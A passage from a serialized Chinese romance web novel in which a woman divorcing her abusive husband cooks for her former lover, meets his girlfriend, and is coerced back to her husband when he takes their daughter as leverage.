然后,退出聊天界面。 贺淮钦回得很快:“就这样谢?” 温昭宁想了想:“贺律派人去寻找的人工费,我可以出。” “出多少?二百五?” 明明只是文字,温昭宁却隔着屏幕感觉到了他的怨气。 “那贺律想怎么样?”她问。 “请我吃饭。” “我现在正处在离婚前期的敏感时期,如果被有心之人看到贺律和我一起出去吃饭,恐怕会有损贺律的名声。” 这不是托词,温昭宁真是这么想的,陆恒宇在沪城狐朋狗友很多,万一真的被人看到她和贺淮钦在一起,那贺淮钦真要坐实了“奸夫”的名头。 贺淮钦:“温大小姐可以邀请我去你家吃。” “温家破产了,房子都已经被法拍,我现在带着孩子暂住在朋友家,不方便带男性回家吃饭。” 这也不是温昭宁的托词,这是她的现状。 曾经风光无限的温大小姐,如今离开陆家,连个蔽身之所都没有了。 贺淮钦:“可以去我那里。” “去你那里,你做给我吃?那怎么还算我请你吃饭?” “你做。”贺淮钦发来冷冰冰一句话,“正好明天做饭阿姨请假。” 敢情绕这么大一个圈子是要让她顶做饭阿姨的岗。 温昭宁深呼吸。 好吧!做饭就做饭,谁让她欠了他这么大一个人情呢! “好的,贺律,想吃什么发给我,我来准备食材。” 贺淮钦毫不客气,真甩过一张菜单来,温昭宁瞧了一眼,什么人啊,搁她这里点满汉全席呢? “贺律,别太看得起我,我不是什么菜都会做的。” “挑你会的做,不用太多,两个人的分量就行。” 两个人的分量,那还好,五六道菜,再加个汤,应该够了。 温昭宁还没回,贺淮钦又补一句:“食材我会让人准备,你那瘸腿,就别去菜场给别人添麻烦了。” “谢谢贺律。” 她发了一个谢主隆恩的表情包。 -- 茶庄。 傍晚的阳光透过竹帘,在红木茶海上切割出细碎的光斑,紫砂壶嘴飘出缕缕白气,沉香无声地在空气中盘旋。 包间的圆桌上,牌局正酣。 贺淮钦坐在牌桌旁,背靠着中式椅背,指尖一枚筹码无声翻转着。 邵一屿抬手斟茶,白毫银针澄澈的茶汤划出优雅的弧线,他将青瓷茶杯推到贺淮钦的面前:“淮钦,你之前看中的那套小洋房,房产证已经顺利拿到了,你打算什么时候搬进去住?” “不搬。” “不搬?怎么又不搬了?” 城西别苑是贺淮钦回国后临时过渡的住处,他刚搬进去的那天就说环境设施一般,让邵一屿帮忙找房子。 这段时间邵一屿帮他物色了很多别墅,他都不太满意,好不容易看中一套花园洋房,花了大价钱买到手,又不搬了? 贺淮钦看了眼手机,温昭宁那个谢主隆恩的表情包小人一直在对话框里磕头。 “不想搬了。” 邵一屿瞪他一眼:“你说你脑子里的主意是不是跟着茶壶里的茶叶似的,一泡一个味儿?” 牌桌上几人都笑起来。 贺淮钦没接话,手机屏幕暗下去,他的拇指下意识地按下指纹,再次解锁。 “还有,你今天不对劲啊,怎么一直在看手机聊微信?”邵一屿凑过来瞧了一眼,恰好瞥见那个逗趣表情包,“谁和你聊微信啊?竟然还用表情包?” 贺淮钦的手机里大多是客户,聊天过程追求简单清晰高效,正常情况下是不会使用表情包的。 哪怕他们几个平时扯点闲话,也很少有人敢和贺淮钦发表情包。 “是女人吧?”坐在贺淮钦对面的周时安挑眉看他一眼,“你是不是在恋爱?” “眉眼带笑,频频解锁手机,我年轻时谈恋爱也这样。” “难怪,平日的吸金大王,今天手气烂到家了,这不是典型的情场得意,赌场失意嘛。” “沪城哪家小姐啊?” 难得碰到贺淮钦有八卦,众人你一嘴我一嘴的,都打听得特别起劲。 贺淮钦心情还不错,他散尽面前的最后几个筹码,调侃道:“你们一个个,中央情报局没有请你们去做顾问,真是可惜。” 大家还是好奇,只有邵一屿忽然安静了下去。 邵一屿再回想一下刚刚他窥见的聊天框一角,不对啊,和贺淮钦聊天的那个女人用的是孩子的照片做头像。 有孩子? 他瞬间猜到了那女人是谁。 温昭宁! 是温昭宁! 贺淮钦不是说六年前就当她死了吗?他这是在和鬼聊天吗? 丸辣,芭比Q啦,看来这哥们,根本没有放弃给人做男小三的念头。 不行,他不能眼睁睁地看着最好的兄弟误入歧途。 邵一屿走到贺淮钦的身边,状似不经意地开口:“淮钦,我听说雅菁已经毕业,快回来了是不是?” 第一卷 第11章 谁馋你了 隔天上午,温昭宁把青柠送到幼儿园后,又去了一趟超市,采购了一些调味品。 一切准备就绪后,她上楼去了贺淮钦的家。 她是昨天才知道的,原来贺淮钦就住在苏云溪家楼上。 贺淮钦提前把密码发给她了。 温昭宁直接输密码进门。 贺淮钦的房子和楼下苏云溪家格局差不多,但装修却大不一样,苏云溪的房子是她结婚前的自住房,每个细节都布置得很温馨,而贺淮钦这里,黑白灰的极简装修风格,放眼望去几乎没有多余的装饰,空间看着更轩敞,但“家”的味道很淡,就好像随时可以拎包入住,也可以随时拎包走人。 温昭宁换了备用拖鞋,正要往厨房里去,浴室的门“啪嗒”一声打开了。 贺淮钦从浴室里走出来,他显然刚洗完澡,只随意的在腰间系了条浴巾,黑色的短发湿漉漉滴着水,水珠沿着他的脖颈线条滑落,滚过紧实饱满的胸肌沟壑,一路向下,没入浴巾边缘诱人的阴影里。 他比从前更壮实了,不是健身房刻意雕琢出来的那种夸张肌肉,而是每一寸线条都蕴含着爆发力的精悍,穿衣显瘦,脱衣后腹肌块垒分明,性张力拉满。 温昭宁手指收紧塑料袋,不自觉地吞咽了一下口水。 “不是睡腻了吗?”贺淮钦扯了条毛巾一边擦头发一边看着她,“我怎么觉得温大小姐还是很馋我的身体?” “谁……谁馋你了?” “那你一直看着我?” “我又不知道你在家。”温昭宁早上送青柠去幼儿园的时候,明明看到他出去了,谁知道这么点过来能撞见他洗澡,“而且,是你自己站在那里开屏的好吧。” “开屏?我健完身回来洗个澡,怎么到你嘴里就成开屏了?” “那我只是看了你一眼,怎么到你嘴里就成馋你身体了?贺律不要太自信。”温昭宁故意上下打量他一眼,“你这身材,也就一般般吧。” “看来你见多识广。” “还行。” “那温大小姐觉得怎样才算不一般?” “钻石人间的男模,那身材才是顶好的。” “你还点过男模?” “没点过,但视频刷到过。” “你喜欢看这种视频?” “喜欢啊。”温昭宁一本正经地胡说八道,“女人嘛,总要看点好的才有力气讨生活。” 贺淮钦顶腮笑了笑,忽然朝她走过来。 一步,两步,三步。 空气仿佛被那氤氲的热气蒸得粘稠起来,窗外城市的喧嚣被无限拉远,只剩下彼此之间无声的对视。 温昭宁闻到他身上清爽的香气,心不受控地乱跳起来。 “你……你想干嘛?” 她只是说他身材一般,他不会要动手吧? 温昭宁正准备拖着受伤的腿逃跑的时候,贺淮钦忽然倾身接过了她手里的塑料袋。 “不是说了食材我会准备吗?” 他一句话让温昭宁松了一口气。 “这不是食材,是调味料。” “我这里都有。” “有当然最好了,我就怕没有,到时候还要出去买,很麻烦。”温昭宁把塑料袋抢回来,转身往厨房方向走去,走了两步,又回头:“贺律,虽然你身材一般,但你完全不需要身材焦虑,男人嘛,上了年纪都那样。” 贺淮钦:“……” 她到底是上门来向他道谢的,还是来气死他的? 第一卷 第12章 贺淮钦怀疑女儿是他的 贺淮钦的厨房和空阔的客厅比起来,还算有点人气。 正如他所说,调味料都有,且都收纳在称手的位置。温昭宁很满意他的厨房,唯一不太满意的是他厨房的刀具。 刀太小了,切菜不利索,她为了快一点,一着急,不小心就切到了手。 “哎哟!” 她低呼一声,却被贺淮钦听到,他快步走进厨房。 厨房明亮的灯光下,她捏着那根渗血的手指,一时无措。 “怎么这么不小心?”贺淮钦语气有点凶,眉头拧得死紧,动作却极轻地握住了她的手指。 还好,这一刀并不深。 贺淮钦将她牵到水龙头下面,打开水龙头,让清凉的水流缓缓冲过那道细小的伤口,血很快就止住了。 “没事了。”温昭宁说,“你的刀长时间没用钝得很,只划开了一点点,不碍事。” 贺淮钦没接话,他关掉水龙头,扯了张厨房纸,小心翼翼地吸干伤口周围的水珠,然后,从抽屉拿出一张创可贴。 “抬手。”他说。 温昭宁顺从地抬起手。 贺淮钦低头朝她凑过来,他的指腹很温暖,摩挲过她指侧细嫩的皮肤时,带起一阵难以形容的酥麻感。 距离太近了,温昭宁能闻到他身上沐浴露的味道。 温昭宁抿紧了唇,抬眸看向他,正好,贺淮钦也在看她。 四目相对,时间仿佛被粘稠的空气凝滞了,周围安静,只剩下两人的呼吸声,清晰的交织,缠绕,同频。 贺淮钦的喉结滚了一下,目光沉甸甸地落向她的红唇,给人一种下一秒就要吻上来的错觉。 “好……好了。”温昭宁抽回手指,“谢谢,你先出去吧。” 贺淮钦站在原地停顿了两秒,沉一口气,眼底的暗色慢慢散去。 “小心手。”他交代一句,就出去了。 温昭宁走到窗户边,拍了拍自己发烫的脸颊,深吸了一口气,缓了好一会儿,她才继续处理食材。 她今天准备做三荤三素外加一个鸡汤。 温昭宁刚在砂锅里把鸡炖上,就听到门铃响了。 贺淮钦去开门,一道温柔的声音传来:“淮钦哥,我回来了!” 温昭宁闻声扭头,看到一个高挑秀丽的女人拉着行李箱站在门口,她眉眼带笑地望着贺淮钦,手攥住贺淮钦的胳膊,撒娇般晃了晃:“飞了六个小时,我胸口都不舒服了,这趟回国,我可再也不出去了!” “带药了吗?”贺淮钦语气明显紧张。 “已经吃过药了,你别担心,我只是有点累了而已。” 她说着,把行李箱推给贺淮钦,径直走进了客厅。。 温昭宁愣了一下,这是贺淮钦的女朋友来了? 难怪,他说菜要做两人份的,温昭宁起初还以为两人份的另一份是贺淮钦要她一起吃呢,真是自作多情了。 那女人很快察觉到厨房有人,她侧头,朝温昭宁的方向看过来。 “淮钦哥,那是谁?”女人打量着温昭宁,温柔的目光转瞬变成了冰冷的探针,显然是误会温昭宁和贺淮钦的关系了。 “哦,我是贺先生请来做饭的钟点工。”温昭宁赶紧给自己安上一个避嫌的新身份。 贺淮钦远远瞧她一眼,她倒是撇得干净。 沈雅菁有点不太相信,这样的颜值来做钟点工? 厨房里的温昭宁绝对是她见过最好看的女人了,她长发如瀑,五官精致,肌肤胜雪,身材又纤秾合度,颇有几分港风美人的气度,大气又明艳。 这样的脸,放到娱乐圈也是能原地出道的程度,她何必选做饭钟点工这条路子? “淮钦哥,她真的是你请来的做饭钟点工吗?”沈雅菁转头向贺淮钦求证。 “不然呢?”贺淮钦神色不悦,“谁那么蠢没事喜欢冒充做饭钟点工?” 温昭宁:“……” 谢谢,有被内涵到。 “愣着干什么?还不快做菜?”贺淮钦没好气。 她既然这么喜欢扮演做饭钟点工,那就让她演个痛快。 “好的,贺先生。” 温昭宁回到厨房的岛台前,开始切菜。 客厅里,沈雅菁还是对温昭宁的身份存疑,旁敲侧击地向贺淮钦打听,贺淮钦有点不耐烦了,说:“一个无关紧要的人,你问这么多干什么?” “好嘛好嘛,我不问了。”沈雅菁似乎被哄好了,又温温柔柔地说:“我在国外给你带了礼物,你看看喜不喜欢。” 外头传来打开行李箱和拆礼物的声音。 温昭宁刀刃落在砧板上,规律而麻木。 对,她就是一个无关紧要的人,她得摆正自己的身份,今天还过贺淮钦的人情后,将来不必再有任何瓜葛。 两个小时后,温昭宁做好了六菜一汤。 沈雅菁看着桌上的菜,声音拔高了几分:“这么巧,这六道菜都是淮钦哥爱吃的呢。” 贺淮钦走进餐厅,先看了看菜,又看向温昭宁,神色复杂。 温昭宁笑:“菜单是贺先生发给我的,我是按照贺先生的意思做的。” “原来是这样啊,我说呢,你怎么知道淮钦哥爱吃什么。” 沈雅菁疑虑消了,贺淮钦的目光却仍锁着温昭宁。 菜单是他发的没错,可他发得菜单那么长,又不是每一道菜都是他喜欢的,怎么偏那么巧,她挑的都是他喜欢吃的? 是不是,她还记得他的喜好。 “你……” “菜做好了,账都结清了,我就先走了。”温昭宁不想让贺淮钦觉察出什么端倪,急急打断了他的话。 账都结清了? 什么账? 自然是他帮她找回摄像机的人情帐。 贺淮钦听出她要划清界限的意思,心头浮起一阵烦躁。 他正要拦住温昭宁,沈雅菁抢在了他的前头:“等等,这位姐姐,我们能加个微信吗?” “加微信?” “是啊,我这刚回国,对周边餐厅什么的都不熟悉,我看姐姐你的菜做得色香味俱全,以后我也想请姐姐来给我做菜,加个微信方便找你啊。” 温昭宁一点都不想加贺淮钦女朋友的微信,可是,哪儿有做饭钟点工会拒绝潜在客户的道理,做戏得做全套,她只能打开自己的微信二维码,让沈雅菁去扫。 两人当面加上了微信,沈雅菁第一时间注意到温昭宁的头像。 “姐姐,你头像里的孩子是?” “是我女儿。”温昭宁顺势说,“我女儿还小,我平时要带孩子,所以也不是时时刻刻都有空出来做钟点工。” 她事先给沈雅菁打个预防针,万一后面沈雅菁真的找她做菜,她也好有理由拒绝。 沈雅菁听说温昭宁有孩子,顿时放松了警惕,哪里还在意什么做菜不做菜的。 “理解理解。姐姐你女儿好漂亮啊,看来你和你先生都是高颜值的人呢。” 温昭宁一阵尴尬。 陆恒宇在男人堆里可算不得好看,沈雅菁这么说,别让贺淮钦产生什么怀疑才好。 不过,贺淮钦并没有往那方面想,他只是单纯地不满沈雅菁提到陆恒宇。 “吃饭吧。”贺淮钦走到桌边,“再不吃,菜要凉了。” “好。”沈雅菁朝温昭宁挥挥手:“姐姐,我们要吃饭了,那下次见咯。” “两位慢用,再见。” 温昭宁赶紧离开。 -- 温昭宁从贺淮钦那里回家后,一直心绪不宁。 贺淮钦和他女朋友在一起的画面时不时从她脑海里浮现出来,心口那股酸涩的闷痛,也随着这些画面翻涌。 她不知道自己到底在难过什么。 贺淮钦外形出众,如今又事业有成,财富地位水涨船高,这样的男人本就是名利场中最吸引蜂蝶的存在,他身边有年轻靓丽的女朋友,这很正常。 而她和贺淮钦,六年前就已经泾渭分明,她不该再为他牵动心绪,她现在要做的是专心走好自己的路。 温昭宁正积极调整自己的心态,忽然收到了幼儿园老师的信息。 “青柠妈妈,青柠爸爸刚刚来接青柠的时候,她的被子没有带走,明天是周末,所有小朋友的被子都要带回去洗晒,如果方便的话,你们放学的时候过来拿一下。” 青柠爸爸? 温昭宁的神经瞬间紧绷起来,她直接打电话给老师:“张老师,青柠爸爸把青柠接走了吗?” “是的,青柠爸爸刚刚来幼儿园,说青柠这段时间夜里睡觉总是咳嗽,要带她去医院看看。” “什么时候接走的?” “就二十分钟前。” 温昭宁挂了老师的电话,立刻给陆恒宇打电话。 这是她被家暴后,第一次拨通陆恒宇的电话。 陆恒宇接得很快,好像就是拿着手机在等她一样。 “老婆,你终于给我打电话了。” “老婆”两个字让温昭宁一阵作呕。 “陆恒宇,青柠呢?你把青柠带去哪里了?”因为愤怒和担心,温昭宁的声音在颤抖。 “孩子我送去安全的地方了。” “你想干嘛?把我的孩子还给我!” “我就想找你好好聊聊,回家来吧,我等你。” 陆恒宇话落,不给温昭宁再开口的机会,直接挂了电话。 -- 温昭宁不知道陆恒宇葫芦里卖的什么药,她一路忐忑,回到了富林园。 富林园这套房子,是当初她和陆恒宇的婚房,他们结婚后,陆恒宇很少回来,但今天却已经早早在客厅里坐着了。 温昭宁一路直冲进门:“青柠呢?你到底把青柠接到哪里去了?” “你先别激动。”陆恒宇给她倒了一杯水,“坐下,我们好好聊聊。” “我和你之间还有什么好聊的?你把孩子还给我,离婚的事情,都交给律师去谈!” “律师?”陆恒宇像听了个好笑的笑话,“你确定你找得到律师?沪城谁敢接你的离婚官司?” “没有律师愿意代理我的离婚官司,我也要离!” 陆恒宇见温昭宁态度坚决,起身朝她走过来。 之前,陆恒宇就是在客厅里对她家暴,温昭宁多少有点创后应激症,她紧张地往后退了两步。 “老婆,之前的事情是我不对,那天我喝了酒,是酒精麻痹了我的神经我才会冲动动手,你看,结婚六年,我也就动手了这么一次,你原谅我好不好?我保证以后绝不再碰你一根头发!” 温昭宁当然不会相信陆恒宇的鬼话,家暴只有零次和无数次,陆恒宇敢动手打她,最主要的还是因为温家破产了,没了温家,他无所忌惮,以后只会对她动手更多。 “家暴是因为酒精麻痹了你的神经,那给我下药,把我送到别的男人床上诬赖我出轨,也是酒精的错吗?”温昭宁看着陆恒宇,“你现在就把青柠交出来,否则,我立刻报警。” “你再敢报警一次试试,我会让你永远见不到你女儿!”陆恒宇表情狰狞,“你女儿的命捏在你的手里。” 温昭宁听他用青柠威胁自己,顿觉浑身冰冷。 “你到底想干什么?孩子是无辜的,大人之间的恩怨,有什么都冲我来,为什么要牵扯到她?” “无辜吗?她姓着陆,身上却流着别的男人的血,她从出生之日起,就不无辜。” “当初是你要让我生的!也是你要让她姓陆!” “没错,但我就是看她不爽!” “你到底想怎么样才肯放了她?” “我要你撤销对我的家暴控诉,撤销离婚诉讼,回到这里,像之前一样,做我陆恒宇的老婆。” 再像从前一样,回到这座令她窒息的牢笼中,这和杀了她有什么区别? “为什么要这样?陆恒宇,你不觉得这样很恶心吗?” “你别给脸不要脸,想想你女儿,我好言好语和你商量的时候,你最好乖乖听话,否则,后果自负。” “你别伤害她,我都听你的,只要你别伤害她!” 孩子,永远是一个母亲最容易拿捏的软肋,温昭宁也一样。 -- 温昭宁是后来才知道的,陆恒宇胁迫她回来,是因为上官太太蒋秋萍要生日了。 她和蒋秋萍因高尔夫球相识,温昭宁曾在球场上将自己打高尔夫球的经验传授给蒋秋萍,两人经常在一起切磋球艺,因此私交渐笃,成为了密友。 这次蒋秋萍四十岁生日,她给陆家发请帖时,写上了温昭宁的名字,并再三强调要邀请温昭宁一起去参加她的生日宴。 蒋秋萍的丈夫上官泓是正部级,官职压陆乾勇这个沪城市长两头,陆乾勇一心想要晋升,自然要讨好上官泓夫妇,上官太太点名要见的人,陆家哪敢不带着。 温昭宁知道了陆恒宇的目的,反倒松了一口气,只要她对陆恒宇还有用,陆恒宇就不敢伤害青柠,至少青柠现在一定是安全的。 只是,忽然见不到妈妈,青柠一定很害怕。 温昭宁因为担心青柠,连着失眠了两夜,陆恒宇见她状态越来越差,发了一段青柠玩乐高的视频给她。 “你不用担心孩子,有人照顾她,只要你好好配合我,在上官太太的生日宴上多说我和我爸的好话,我就让你见她。”陆恒宇说。 “我知道了,能不能多发点青柠玩耍的视频给我,我很想她。” “我会让保镖发过来的,你现在收拾一下,和我出门。” “去哪?” “带你去挑件参加生日宴的礼服。” 陆恒宇带温昭宁去了沪城最高端的一家礼服买手店,因为提前有预约,两人一进门,店员就热情地迎过来,将他们引至贵宾区。 “自己选吧,选低调一点,别太抢风头。”陆恒宇抬手摸了一下温昭宁的脸颊,笑着说,“毕竟,你这张脸已经够抢风头了。” 温昭宁受不了他轻浮的肢体接触,可又怕表现得太明显惹他不快,令青柠遭殃,只能缓步从他身边挪开。 “怎么了?” “没事,我自己先看看。” “好。” 陆恒宇去沙发上坐着了。 温昭宁在店里转了一圈,刚挑中一件香槟色的礼服准备去试,就听到门口的店员朗声说:“贺先生,沈小姐,你们来啦!” 温昭宁回头,看到贺淮钦和他的女朋友从门外进来。 第一卷 第13章 吻痕 贺淮钦一身黑色的高定西装,挺拔俊朗。 沈雅菁走在他的身侧,一袭黑色的丝绒长裙,让两人显得很般配。 世界真小啊。 温昭宁不想让他们看见她,下意识侧身,可贺淮钦还是一眼看到了她。 沈雅菁顺着贺淮钦停顿的视线,也注意到了温昭宁。 “淮钦哥,这不是前两天去你那里做饭的钟点工姐姐吗?”沈雅菁眼里闪过一丝惊讶,她走到温昭宁的面前,“姐姐,你怎么在这里?” “我……” 沪城这家礼服买手店,主打高端精品,这里的礼服,可不是一个做饭钟点工消费得起的。 温昭宁正想着该怎么搪塞过去,店员走到她身边,笑着说:“陆太太,您手上这条礼服的设计师劳伦斯此刻正在楼上,需要的话,可以让他下来给您讲述一下设计理念。” “不用了,谢谢。” “陆太太?”沈雅菁神情变得警惕起来,“你是陆家的太太?那为什么还要去淮钦哥家里做钟点工?” “因为我之前准备离婚了,想要赚点生活费。”温昭宁说。 “那现在呢?” “现在……现在不离了。” 温昭宁话落,就看到贺淮钦抬眸朝她看过来,那凌厉的目光似淬了毒的针,扎得她太阳穴突突直跳。 她一刻都不想停留,刚转身要走,不巧的是,陆恒宇过来了。 “哟,这不是贺律吗?”陆恒宇看到贺淮钦,笑着过来想要和他握手。 贺淮钦没有动,也没有开口。 陆恒宇讪讪,以为是他上次在酒店得罪了贺淮钦,正要赔罪,就听贺淮钦开口:“陆先生,不介绍一下?” 贺淮钦是看着温昭宁说的这句话。 陆恒宇立刻反应过来,他一把搂住温昭宁,对贺淮钦说:“贺律,这位是我太太,温昭宁。” 贺淮钦瞟了一眼陆恒宇搭在温昭宁腰间的手:“我记得上次见面,陆先生还在酒店到处找老婆捉奸呢,这么快就和好了?” 陆恒宇没想到贺淮钦这样有头有脸的人物竟然连点为人处世的情商都没有,他居然把他去酒店捉奸的事情就这么放到明面上水灵灵地说出来了,真是尴尬。 “哦,那是一场误会,一场误会而已。” “是吗?”贺淮钦转眸看向温昭宁,“陆太太呢?你也觉得是一场误会?” 温昭宁心头一凛,贺淮钦这阴阳怪气的是想干什么? “当然是一场误会,我从来没有做过违背这段婚姻的事情。”她说。 陆恒宇很满意温昭宁的回答,他轻拍了一下温昭宁的腰:“老婆,你先去试裙子,我和贺律再聊一会儿。” 温昭宁点点头,转身快步从这修罗场中离开。 -- 店员把温昭宁相中的礼服拿到试衣间,温昭宁试了试,效果不太好,但她不想再下去挑,怕又和贺淮钦他们遇上。 她直接在店内的iPad上重新选了两套,让店员送上来。 店员离开后,温昭宁拉上帷幕,准备先把身上的礼服脱下来。 香槟色礼服的拉链刚拉下一半,试衣间的帷幕被猛地掀开一道缝隙,一个高大的身影迅捷地闪了进来。 温昭宁惊得转身,后背撞上冰冷的镜面。 她正要尖叫,唇被一只大掌覆住。 温昭宁这才看清,进来的人是贺淮钦。 这试衣间虽然比寻常店铺的试衣间更宽敞,但骤然挤进两个成年人,空间立刻变得逼仄,贺淮钦身上那股熟悉的冷香,带着侵略性,充斥了试衣间的每一寸空气。 “贺淮钦,你疯了吗?”温昭宁惊慌失措,低呼道:“快出去!” “到底谁疯了?”贺淮钦盯着她,声音低哑,带着破笼而出的戾气,“对你家暴,把你迷晕了送到别的男人床上想要诬陷你出轨,就这种畜生,你还能选择不离婚?” “不关你的事,你快出去!” 温昭宁抬手推搡着贺淮钦,可贺淮钦纹丝不动,他背靠着厚重的丝绒帷幕,仿佛堵死了唯一的出口。 “陆恒宇有什么好?你就这么爱他?爱到可以原谅他伤害你,爱到可以容忍他去踩婚姻的底线?” 温昭宁又急又恼:“贺淮钦,你以什么身份来质问我?我们早就没有瓜葛了!” “什么身份?你忘了吗?我是你的奸夫。”他向前逼近一步,高大的身影完全笼罩了她,两人之间的距离瞬间缩短到呼吸可闻,“你要重新和你老公在一起,你把我这个奸夫置于何地?” 温昭宁觉得贺淮钦是真的疯了。 他演奸夫还演上瘾了! “你有病就去治,别在这里发疯!” 温昭宁又想推他,却被贺淮钦反手握住了手腕,一把扯进怀里,他的体温滚烫,透过皮肤灼烧着她。 “温大小姐说从没有做过对不起这段婚姻的事情,你是不是忘了上次在酒店是怎么对我的?”贺淮钦的手指拂过她修长白皙的脖颈,“你在你丈夫之外的男人身上留下吻痕,这是忠于婚姻?” 温昭宁看到他幽暗的眼神里翻涌着危险的情绪,她紧张地抵住了镜子:“现在不是说这些的时候,如果有人进来看到你在里面,我们就说不清了。” “那就说不清。” “你堂堂律所负责人,惹上负面的花边新闻,对你没有好处。” “先惹上再说。” “你……” 门外传来脚步声。 温昭宁的心彻底提起来了。 下一秒,试衣间的门被推开,陆恒宇走了进来。 “还没试好吗?”陆恒宇隔着帷幕问。 “还没有,试了一套不太满意。” “随便选一套就行了,我还有事呢。” “那不行,上官太太审美很特别,我穿得好看,才能在生日宴上给你长脸。” 这话让陆恒宇很受用:“行行行,那你多试几套,我在这里等你。” 外面传来陆恒宇坐下的声音。 他坐下了,贺淮钦怎么出去? 温昭宁赶紧说:“如果你赶时间的话,要不你先走吧,等下我自己打车回去。” “不用。” “那你帮我下去催催吧,他们动作也太慢了,我让他们找两套礼服,怎么到现在还不上来。” “应该快了,我刚才上来的时候看到她们已经在整理礼服了。” “……” 陆恒宇就是不走,温昭宁紧张的额头都沁出了细汗,贺淮钦却依然气定神闲的。 温昭宁真恨不得掐他一把,他这是要害死她啊!如果惹恼了陆恒宇,青柠怎么办? 正当温昭宁手足无措,只见贺淮钦掏出手机发了个信息,没一会儿,陆恒宇的电话响了。 陆恒宇接了电话,也不知道是谁打来的,他“嗯”了一声,立刻挂了电话,然后就急匆匆地说有事要走。 温昭宁听到陆恒宇下楼,也不敢掉以轻心,毕竟,店员马上要上来了,被店员看到她这位陆太太和贺淮钦在试衣间里拉拉扯扯,后果一样难以预测。 “你快走吧!”她几乎是恳求的语气。 “要我走可以,先把账清一下。” “什么账?我不是已经去给你做过饭了吗?” “酒店的账。” 贺淮钦说完,扣住了她的腰肢,头一低,滚烫的唇烙在了她纤细的脖颈上。 和温昭宁那日一样,不是温柔的亲吻,而是带着惩罚和标记意味的用力吮吸。 “呃……”温昭宁紧皱起眉头,脖颈处刺痛又麻痒的触感让她浑身颤栗。 她徒劳地扭动身体,试图摆脱他的禁锢,可她的力量在贺淮钦面前,犹如蚍蜉撼树。 密闭的空间里,只剩下两人粗重交错的呼吸声。 几秒后,贺淮钦松开了她。 温昭宁踉跄一步,靠在镜子,一眼就看到了颈侧那个清晰而暧昧的红痕。 真要命,她选的礼服都是抹胸的,这样她还怎么试? 贺淮钦站直了身体,呼吸有些紊乱,他看着温昭宁纤白皮肤上他留下的痕迹,眼神沉得像是暴风雨前的海面,以及藏在海面下那连他自己都无法掌控的混乱。 他抬手,用指腹抹了一下自己的唇:“现在,酒店那笔账,清了。” 话落,贺淮钦不再看她,转身掀开帷幕,带着一身尚未平息的戾气,大步离去。 温昭宁缓缓滑坐到柔软的矮凳上,还没来得及调整好自己的呼吸,就听到两个店员前后进门的声音。 “陆太太,您需要的两件礼服已经都帮您拿上来了,您出来试试吧。” 这个突兀的吻痕没有任何东西可以遮挡。 温昭宁没有任何犹豫,扬手用修剪整齐的指甲重重往贺淮钦吻过的地方一掐。 “啊!”她惊叫一声,“有虫!” 两位店员听到她的叫声,赶紧冲进来:“陆太太您还好吗?哪里有虫?” “那里在那里!”温昭宁对着深色的帷幕胡乱一指。 两位店员立刻踮脚去找:“没有啊。” “可能飞走了吧。” “您还好吗?” “我的脖子被咬了一口。” 店员一看:“天呐,都红肿了!实在抱歉陆太太,我们店里定期会做专业的消杀,这虫子也不知道哪里飞来的,是我们疏忽了,您赶紧下去,我们请医生过来为您处理一下伤口。” “不用了,没关系,我自己回去处理。” “那怎么行呢,还是及时处理比较好。” 两位店员搀扶住温昭宁,带着她下楼。 楼下,贺淮钦坐在大厅的沙发上,慢条斯理地喝着咖啡,沈雅菁正拿着一件礼服在他面前比划,贺淮钦点了点头,沈雅菁就高高兴兴拿去试了。 “Cici姐,陆夫人在试衣间被虫子咬了,红肿得厉害,快给彭医生打电话,让他过来帮忙处理一下。”店员对店长说。 贺淮钦听到她们的话,朝温昭宁看过来。 被虫子咬了? “好的,陆太太,我马上让彭医生带药膏过来,为了对症,您能大概描述一下那虫子什么样吗?” 温昭宁打量贺淮钦一眼,咬牙切齿地形容道:“黑色的,很大,很凶狠的毒虫。” 第一卷 第14章 亲生爸爸 医生过来替温昭宁清理了一下“伤口”,涂上消炎的药膏。 这样折腾一场后,温昭宁已经精疲力尽,无心再挑礼服,她随便试一套花卉刺绣裙,觉得还可以,就定下让店员送去富林园。 温昭宁离开的时候,贺淮钦还坐在楼下陪着沈雅菁挑礼服。 她想不通,这男人都有女朋友了,还对她管三管四的干什么? 幸好,今天有惊无险。 三日后,就是上官太太的生日宴。 这三日,温昭宁每天都要陆恒宇给她发青柠的日常视频,她想女儿是其一,温昭宁更希望的是能通过视频内背景的蛛丝马迹,提前查到陆恒宇把青柠藏在了哪里。 可惜,陆恒宇也很谨慎,他发过来的视频,都寻找不出任何有用的背景信息。 温昭宁一筹莫展,也因此更担心青柠,每天度日如年。 贺淮钦这三天同样过得不怎么样,在礼服店相遇的隔日,他就提上温昭宁留在他家里的那一袋调味品下楼去敲门。 开门的是苏云溪。 苏云溪看到贺淮钦,愣住了:“你找宁宁?” “还她东西。” “可她已经搬走了。” 贺淮钦当即黑了脸。 她搬走了,难道她真的不离婚了? 贺淮钦想到陆恒宇的手搭在她腰上的画面,想到她回到陆恒宇身边,他们或许每晚都会过最亲密的夫妻生活,他的胸腔里就有一股无名怒火在熊熊燃烧。 “砰”的一声,贺淮钦把温昭宁的那一袋子调味品悉数扔进了楼道的垃圾桶里。 苏云溪被吓了一大跳,等人走了,她赶紧折回屋里给温昭宁打电话。 “宁宁,贺淮钦来找你了。” “他来找我干什么?” “手上提着个塑料袋,说是还你东西,我看着好像是什么做菜用的调味品。” 温昭宁心想,这不值几块钱的调味品都要拎下来还给她,贺淮钦分得还真清啊。 “不过他听说你搬走了,就直接把东西扔了。”苏云溪说。 “扔了就扔了吧,别管他。” “宁宁,其实我想说的是,找青柠这件事情要不要找贺淮钦帮忙?他现在有权有势,人脉广,一定很快就能找到青柠,他毕竟是青柠的亲生爸爸。” “不用了,陆恒宇答应了只要我陪他应酬,在上官太太的生日宴上为他们美言几句,他就会把青柠还给我。” 温昭宁不想让贺淮钦卷进这件事情里来,毕竟,她和陆恒宇还没有离婚,青柠的身世一旦公开,对她后续离婚有弊无利,而且,贺淮钦已经有了女朋友,她不想去打扰他的新生活,当然,贺淮钦也未必会接受这个孩子。 “好吧,希望陆恒宇那个死渣男言而有信。” -- 上官太太的生日宴设在城中金陵酒店宴会厅。 温昭宁和陆恒宇到的时候,公公陆乾勇和婆婆赵曼丽已经在了。 婆婆赵曼丽端着香槟杯,一脸谄媚的笑,正和上官太太蒋秋萍攀谈,蒋秋萍一看到温昭宁,立刻撇了赵曼丽。过来和她打招呼。 “宁宁,你来啦!” “上官太太,祝您生日快乐!” “你来我就快乐啦。”蒋秋萍拉着温昭宁的手,“你最近好久没有约我一起打球了,是不是出什么事了?” 陆恒宇和赵曼丽同时目光向温昭宁施压,示意她不要乱说话。 